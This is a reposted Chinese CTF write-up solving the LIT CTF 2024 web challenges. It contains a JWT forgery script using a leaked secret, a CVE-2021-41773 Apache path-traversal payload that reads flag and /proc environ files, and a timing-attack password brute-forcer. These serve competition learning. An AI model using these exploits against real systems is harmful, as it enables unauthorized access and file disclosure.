0


【Web】LIT CTF 2024 题解(全)

anti-inspect

因为一直while true,网页会卡死无法访问

  1. const flag = "LITCTF{your_%cfOund_teh_fI@g_94932}";
  2. console.log(
  3. flag,
  4. "background-color: darkblue; color: white; font-style: italic; border: 5px solid hotpink; font-size: 2em;"
  5. );

直接console里打印出flag,注意谷歌浏览器不行,这里我用的是火狐

jwt-1

注册改jwt

爆密钥

改jwt拿flag

jwt-2

直接给了源码,泄露了密钥

附件是ts写的,破解脚本也拿ts写就是

exp:

  1. const crypto = require('crypto');
  2. const axios = require('axios');
  3. const url = 'http://litctf.org:31777/flag';
  4. const jwtSecret = 'xook';
  5. // JWT header
  6. const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' }), 'utf8')
  7. .toString('base64')
  8. .replace(/=/g, '');
  9. // 伪造的JWT payload
  10. const payload = Buffer.from(JSON.stringify({ name: 'aad', admin: true }), 'utf8')
  11. .toString('base64')
  12. .replace(/=/g, '');
  13. // 生成伪造的JWT签名
  14. const data = `${header}.${payload}`;
  15. const signature = crypto.createHmac('sha256', jwtSecret)
  16. .update(data)
  17. .digest('base64')
  18. .replace(/=/g, '');
  19. // 生成伪造的JWT token
  20. const forgedToken = `${data}.${signature}`;
  21. // 设置cookie并发送请求
  22. axios.get(url, { headers: { Cookie: `token=${forgedToken}` } })
  23. .then(response => {
  24. console.log(response.data);
  25. })
  26. .catch(error => {
  27. if (error.response) {
  28. console.error(error.response.data);
  29. } else {
  30. console.error(error.message);
  31. }
  32. });

traversed

dirsearch扫出来信息泄露

打的是CVE-2021-41773任意文件读取Apache HTTP Server路径穿越漏洞(CVE-2021-41773、CVE-2021-42013)复现 | chaser's Blog

读当前目录下flag.txt即可

  1. /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/cwd/flag.txt

或者先读环境变量/proc/1/environ得知pwd为/app

再读/app/flag.txt

kirbytime

写脚本暴力破解密码

py脚本

  1. import requests
  2. import string
  3. import time
  4. # 目标 URL
  5. url = 'http://34.31.154.223:50350/' # 修改为实际的 URL
  6. # 扩展字符集(包括小写字母、大写字母、数字和常见特殊符号)
  7. charset = string.ascii_letters + string.digits + "!@#$%^&*()-=_+[]{}|;:,.<>/?~"
  8. # 密码长度
  9. password_length = 7
  10. # 初始猜测密码
  11. known_password = ['a'] * password_length # 初始密码设为 'aaaaaaa'
  12. def check_password(password):
  13. """检查密码并返回响应时间"""
  14. start_time = time.time()
  15. response = requests.post(url, data={'password': password})
  16. end_time = time.time()
  17. response_time = end_time - start_time
  18. print(f"Trying password: {password}, Response Time: {response_time:.2f}s")
  19. return response_time
  20. def find_password():
  21. for pos in range(password_length):
  22. print(f"Finding character for position {pos}...")
  23. for char in charset:
  24. # 尝试将当前位置设置为当前字符
  25. known_password[pos] = char
  26. current_guess = ''.join(known_password)
  27. response_time = check_password(current_guess)
  28. # 动态计算阈值,根据字符位置动态设置
  29. threshold = 1.2 + pos * 1.0 # 例:阈值动态增加,可根据实际情况调整
  30. print(f"Response Time for {char} at position {pos}: {response_time:.2f}s, Threshold: {threshold:.2f}s")
  31. if response_time > threshold:
  32. print(f"Character at position {pos} fixed as: {char}")
  33. break
  34. else:
  35. # 如果没有找到合适的字符,重置当前位置并尝试其他字符
  36. known_password[pos] = 'a'
  37. print(f"Failed to fix character at position {pos}")
  38. print(f"Known password so far: {''.join(known_password)}")
  39. return ''.join(known_password)
  40. # 开始破解
  41. if __name__ == '__main__':
  42. start_time = time.time()
  43. found_password = find_password()
  44. end_time = time.time()
  45. elapsed_time = end_time - start_time
  46. if found_password:
  47. print(f"Final password: {found_password}")
  48. print(f"Time taken: {elapsed_time:.2f} seconds")
  49. # 使用找到的密码进行登录
  50. response = requests.post(url, data={'password': found_password})
  51. if response.status_code == 200:
  52. print("Login successful!")
  53. print("Response from server:")
  54. print(response.text)
  55. else:
  56. print("Login failed.")
  57. else:
  58. print("Password not found.")

爆出来密码是kBySlaY

直接LITCTF{}包裹密码就是flag

scrainbow

纯脚本题,写脚本通了游戏即可

  1. import requests
  2. headers = {
  3. 'Accept': '*/*',
  4. 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
  5. 'Connection': 'keep-alive',
  6. 'Referer': 'http://litctf.org:31780/',
  7. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0'
  8. }
  9. data = requests.get('http://litctf.org:31780/data', headers=headers, verify=False).json()
  10. def rgb2hsl(hex: str) -> tuple[float, float, float]:
  11. hex = hex.lstrip('#')
  12. r, g, b = int(hex[:2], 16), int(hex[2:4], 16), int(hex[4:], 16)
  13. r, g, b = r / 255.0, g / 255.0, b / 255.0
  14. mx = max(r, g, b)
  15. mn = min(r, g, b)
  16. df = mx-mn
  17. if mx == mn:
  18. h = 0
  19. elif mx == r:
  20. h = (60 * ((g-b)/df) + 360) % 360
  21. elif mx == g:
  22. h = (60 * ((b-r)/df) + 120) % 360
  23. elif mx == b:
  24. h = (60 * ((r-g)/df) + 240) % 360
  25. if mx == 0:
  26. s = 0
  27. else:
  28. s = df/mx
  29. l = (mx+mn)/2
  30. return h, s, l
  31. colors_map: dict[float, list[int]] = {}
  32. for i, color in enumerate(data):
  33. h, s, l = rgb2hsl(color)
  34. if h not in colors_map:
  35. colors_map[h] = []
  36. colors_map[h].append(i)
  37. colors = [p for h, p in sorted(colors_map.items(), key=lambda x: x[0], reverse=False)]
  38. target = []
  39. for i in range(100):
  40. for j in range(100):
  41. target.append(colors[i+j].pop())
  42. # for i in range(len(data)):
  43. # print(f"data[{i}] = '{data[target[i]]}';")
  44. # exit()
  45. moves = []
  46. current = [i for i in range(len(data))]
  47. for i in range(len(target)):
  48. if current[i] == target[i]:
  49. continue
  50. a, b = i, current.index(target[i])
  51. moves.append((a, b))
  52. current[a], current[b] = current[b], current[a]
  53. # for move in moves:
  54. # print(f"temp = data[{move[0]}]; data[{move[0]}] = data[{move[1]}]; data[{move[1]}] = temp;")
  55. response = requests.post('http://litctf.org:31780/test', headers=headers, json={'data': moves}, verify=False)
  56. print(response.text)

标签: LITCTF CTF WEB

本文转载自: https://blog.csdn.net/uuzeray/article/details/141135343
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。

“【Web】LIT CTF 2024 题解(全)”的评论:

还没有评论